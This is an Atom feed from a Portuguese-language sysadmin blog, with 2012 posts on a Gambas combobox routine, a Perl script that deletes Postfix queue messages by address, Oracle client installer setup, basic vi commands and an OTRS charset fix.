<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8711603840474235216</id><updated>2024-09-01T07:28:40.469-03:00</updated><category term="Linux"/><category term="Gambas"/><category term="Geral"/><category term="Programação"/><category term="Office"/><category term="Hardware"/><category term="Segurança"/><title type='text'>JrFatec</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jrfatec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>51</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-3040887669754107423</id><published>2012-03-11T14:34:00.000-03:00</published><updated>2012-03-11T14:34:07.230-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Gambas"/><title type='text'>Gambas 2 - Listar dados em comboxbox</title><content type='html'>&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Achei aqui no meu Google Docs, uma dica que tinha guardado a muito tempo.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: x-small;&quot;&gt;&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;Pode ser que seja útil pra alguém.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b id=&quot;internal-source-marker_0.08939144434407353&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&#39; Gambas class file&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;PUBLIC combo AS ComboBox&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;PUBLIC SUB ToggleButton1_Click()&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; listacombo(ComboBox1, &quot;select * from cadastro&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;END&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;PROCEDURE listacombo(Combo AS ComboBox, busca AS String)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp; DIM r AS Result&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp; DIM conta AS Integer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; conexao.conectar_banco&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; r = conexao.bd.Exec(busca)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; r.MoveFirst&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; Combo.Add(r!nome_cad)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; FOR conta = 1 TO r.Count - 1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; r.MoveNext&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Combo.Add(r!nome_cad)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp; NEXT&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;END&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3040887669754107423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/3040887669754107423'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/03/gambas-2-listar-dados-em-comboxbox.html' title='Gambas 2 - Listar dados em comboxbox'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-4441305760516507811</id><published>2012-02-28T10:48:00.002-03:00</published><updated>2012-02-28T10:48:26.659-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Script para deletar e-mail de determinado remetente na fila do Postfix</title><content type='html'>#!/usr/bin/perl -w&lt;br /&gt;
#&lt;br /&gt;
# pfdel - deletes message containing specified address from&lt;br /&gt;
# Postfix queue. Matches either sender or recipient address.&lt;br /&gt;
#&lt;br /&gt;
# Usage: pfdel &amp;lt;email_address&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
use strict;&lt;br /&gt;
&lt;br /&gt;
# Change these paths if necessary.&lt;br /&gt;
my $LISTQ = &quot;/usr/sbin/postqueue -p&quot;;&lt;br /&gt;
my $POSTSUPER = &quot;/usr/sbin/postsuper&quot;;&lt;br /&gt;
&lt;br /&gt;
my $email_addr = &quot;&quot;;&lt;br /&gt;
my $qid = &quot;&quot;;&lt;br /&gt;
my $euid = $&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
if ( @ARGV != &amp;nbsp;1 ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; die &quot;Usage: pfdel &amp;lt;email_address&amp;gt;\n&quot;;&lt;br /&gt;
} else {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $email_addr = $ARGV[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ( $euid != 0 ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; die &quot;You must be root to delete queue files.\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
open(QUEUE, &quot;$LISTQ |&quot;) ||&lt;br /&gt;
&amp;nbsp; die &quot;Can&#39;t get pipe to $LISTQ: $!\n&quot;;&lt;br /&gt;
&lt;br /&gt;
my $entry = &amp;lt;QUEUE&amp;gt;; &amp;nbsp; &amp;nbsp;# skip single header line&lt;br /&gt;
$/ = &quot;&quot;; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# Rest of queue entries print on&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # multiple lines.&lt;br /&gt;
while ( $entry = &amp;lt;QUEUE&amp;gt; ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ( $entry =~ / $email_addr$/m ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ($qid) = split(/\s+/, $entry, 2);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $qid =~ s/[\*\!]//;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; next unless ($qid);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Execute postsuper -d with the queue id.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # postsuper provides feedback when it deletes&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # messages. Let its output go through.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ( system($POSTSUPER, &quot;-d&quot;, $qid) != 0 ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # If postsuper has a problem, bail.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; die &quot;Error executing $POSTSUPER: error &quot; .&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;code &quot; . &amp;nbsp;($?/256) . &quot;\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
close(QUEUE);&lt;br /&gt;
&lt;br /&gt;
if (! $qid ) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; die &quot;No messages with the address &amp;lt;$email_addr&amp;gt; &quot; .&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;found in queue.\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
exit 0;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4441305760516507811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/4441305760516507811'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/script-para-deletar-e-mail-de.html' title='Script para deletar e-mail de determinado remetente na fila do Postfix'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-6796032236405107382</id><published>2012-02-24T10:57:00.000-02:00</published><updated>2012-02-24T10:57:19.966-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Preparar ambiente para instalação do Oracle client</title><content type='html'>xhost local:oracle&lt;br /&gt;
su - oracle&lt;br /&gt;
export ORACLE_BASE=/opt/oracle&lt;br /&gt;
export ORACLE_SID=ORCL&lt;br /&gt;
export DISPLAY=:0.0&lt;br /&gt;
./runInstaller</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6796032236405107382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6796032236405107382'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/preparar-ambiente-para-instalacao-do.html' title='Preparar ambiente para instalação do Oracle client'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-908142018924288812</id><published>2012-02-23T11:57:00.000-02:00</published><updated>2012-02-23T11:57:21.366-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Comandos basicos do editor vi.</title><content type='html'>&amp;nbsp; &amp;nbsp; &amp;nbsp; $ vi nome_do_arquivo&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Uma vez carregado o vi, veja abaixo uma lista dos principais comandos:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Observacao:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Para passar para o modo comando pressione ESC.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Comandos basicos de insercao de texto:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; i&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Insere texto antes do cursor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; a&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Insere texto depois do cursor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; r&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Insere texto no início da linha onde se encontra o cursor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; A&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Insere texto no final da linha onde se encontra o cursor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; o&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Adiciona linha abaixo da linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; O&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Adiciona linha acima da linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Ctrl + h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Apaga o ultimo caracter&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Comandos basicos de movimentacao:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Ctrl+f&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a proxima tela&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Ctrl+b&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a tela anterior&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; H&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a primeira linha da tela&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; M&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o meio da tela&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; L&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a ultima linha da tela&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; h&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor um caracter a esquerda&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; j&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a proxima linha&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; k&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para linha anterior&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; l&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor um caracter a direita&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; w&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o inicio da proxima palavra (Ignora a pontuacao)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; W&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o inicio da proxima palavra (Nao ignora a pontuacao)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; b&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o inicio da palavra anterior (Ignora a pontuacao)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; B&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o inicio da palavra anterior (Nao ignora a pontuacao&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; 0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o inicio da linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; ^&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o primeiro caracter nao branco da linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; $&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para o final da linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; nG&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a linha n&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; G&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a ultima linha do arquivo&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Comandos basicos para localizar texto:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; /palavra&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Busca pela palavra ou caracter em todo o texto&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; ?palavra&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Move o cursor para a ocorrencia anterior da palavra&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; n&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Repete o ultimo comando / ou ?&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; N&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Repete o ultimo comando / ou ? , na direcao reversa&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Ctrl+g&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Mostra o nome do arquivo, o numero da linha corrente e o total de linhas&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Comandos basicos para alteracao de texto:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; x&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Deleta o caracter que esta sob o cursor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; dw&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Deleta a palavra, da posicao atual do cursor ate o final&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; dd&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Deleta a linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; D&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Deleta a linha a partir da posicao atual do cursor ate o final&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; rx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Substitui o caracter sob o cursor pelo especificado em x(é opcional indicar o caracter)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Rx&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Substitui a palavra sob o cursor pela palavra indicada em x&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; u&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Desfaz a ultima modificacao&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; U&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Desfaz todas as modificacoes feitas na linha atual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; J&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Une a linha corrente a proxima&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; s:/palavra1/palavra2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Substitui a primeira ocorrencia de &quot;palavra1&quot; por &quot;palavra2&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Comandos para salvar o texto:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; :wq&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Salva o arquivo e sai do editor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; :w nome_do_arquivo &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Salva o arquivo corrente com o nome especificado&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; :w! nome_do_arquivo&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Salva o arquivo corrente no arquivo especificado&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; :q&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Sai do editor&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; :q!&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Sai do editor sem salvar as alteracoes realizadas&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/908142018924288812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/908142018924288812'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2012/02/comandos-basicos-do-editor-vi.html' title='Comandos basicos do editor vi.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-2518868414779756447</id><published>2012-02-23T09:12:00.000-02:00</published><updated>2012-02-23T09:12:17.960-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Problema de charset OTRS</title><content type='html'>Tive um problema com apache e OTRS, nosso banco ORACLE estava no charset iso-8859-1.&lt;br /&gt;
&lt;br /&gt;
Foi necessário jogar essas linhas no arquivos&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/httpd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
LANG=&#39;AMERICAN_AMERICA.WE8ISO8859P1&#39;; export LANG&lt;br /&gt;
NLS_LANG=&#39;AMERICAN_AMERICA.WE8ISO8859P1&#39;; export NLS_LANG&lt;br /&gt;
